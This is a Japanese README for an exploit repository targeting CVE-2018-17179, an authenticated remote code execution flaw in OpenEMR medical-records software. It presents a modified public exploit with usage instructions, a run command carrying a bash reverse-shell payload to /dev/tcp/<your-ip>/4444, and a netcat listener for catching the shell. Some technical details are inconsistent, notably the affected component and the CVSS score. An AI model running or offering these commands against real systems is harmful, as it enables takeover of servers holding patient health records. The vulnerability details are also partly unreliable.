## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CYBERQUESTOR-INFOSEC-CVE-2018-17179-OPENEMR
# CVE-2018-17179-OpenEMR
> ⚠️ **免責事項**
> このリポジトリは**教育および研究目的のみ** を厳密に意図しています。
> ここに提供される情報とコードは**管理された環境** (プライベートラボマシンなど)でのみ使用できます。
**自分が所有していない、または明示的なテスト許可がないシステムに対してこのコードを無断で使用することは違法かつ非倫理的です。**
著者は誤用や損害について一切の責任を負いません。
* * *
## 🔍 脆弱性について
**CVE-2018-17179** は、広く使われているオープンソースの電子カルテおよび診療管理ソフトウェア **OpenEMR** に影響を与えます。
`rest_routes.php` エンドポイントの認証メカニズムに欠陥があり、認証済みユーザーがサーバー上で任意のコマンドを実行できます。
これにより、Web サーバーユーザーの権限で **リモートコード実行 (RCE)** が可能になります。
* **脆弱性タイプ:** 認証済みリモートコード実行
* **影響を受けるコンポーネント:** `interface/main/main_screen.php`(`rest_routes.php` 経由)
* **認証が必要:** ✅ はい
* **深刻度:** 重大
* **CVSS スコア:** 9.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
* * *
## 🧾 参考文献
* Exploit-DB エントリ – 45161
* OpenEMR GitHub リポジトリ
* CVE Details – CVE-2018-17179
* NVD CVE レポート
* * *
## 🛠 エクスプロイト概要
このリポジトリは、Exploit-DB の公開エクスプロイトを**修正したバージョン** を提供します。
* **エクスプロイトタイトル:** OpenEMR 5.0.1 – Authenticated RCE
* **ExploitDB ID:** 45161
* **言語:** Python 2
* **認証が必要:** はい
このカスタマイズされたエクスプロイトでは:
* コマンドペイロードを直接指定できます(例: リバースシェル)。
* 柔軟性のためにクリーンな CLI 実行が可能です。
* 元のエクスプロイトから、セッションクッキー生成やコマンドインジェクションロジックなどの機密フィールドが保持されています。
* * *
## 💥 デモンストレーション
### 🔐 ログインページ
ローカルテスト用の OpenEMR ログインパネルを対象にしました:

* * *
## 📂 エクスプロイトの使用方法
使用方法: python2 exploit.py <target_url> -u -p -c
例: python2 exploit.py http:///openemr -u admin -p secretpass -c 'id'
root@kitploit:~
- Python 2 がインストールされていることを確認してください。
- ユーザーは脆弱な `rest_routes.php` エンドポイントにアクセスできる必要があります。
エクスプロイトの実行
修正したエクスプロイトスクリプトを bash リバースシェルペイロードで実行しました:
root@kitploit:~
python2 exploit.py http://<target>/openemr -u <username> -p <password> -c 'bash -i >& /dev/tcp/<your-ip>/4444 0>&1'

### ステップ 3 – リバースシェルの取得
ポート 4444 の Netcat リスナーがリバースシェルを正常に受信しました:
root@kitploit:~
nc -nvlp 4444

## 📖 Medium ブログ
詳細なウォークスルーと理論については、私の Medium 記事をご覧ください:
👉 Medium でブログを読む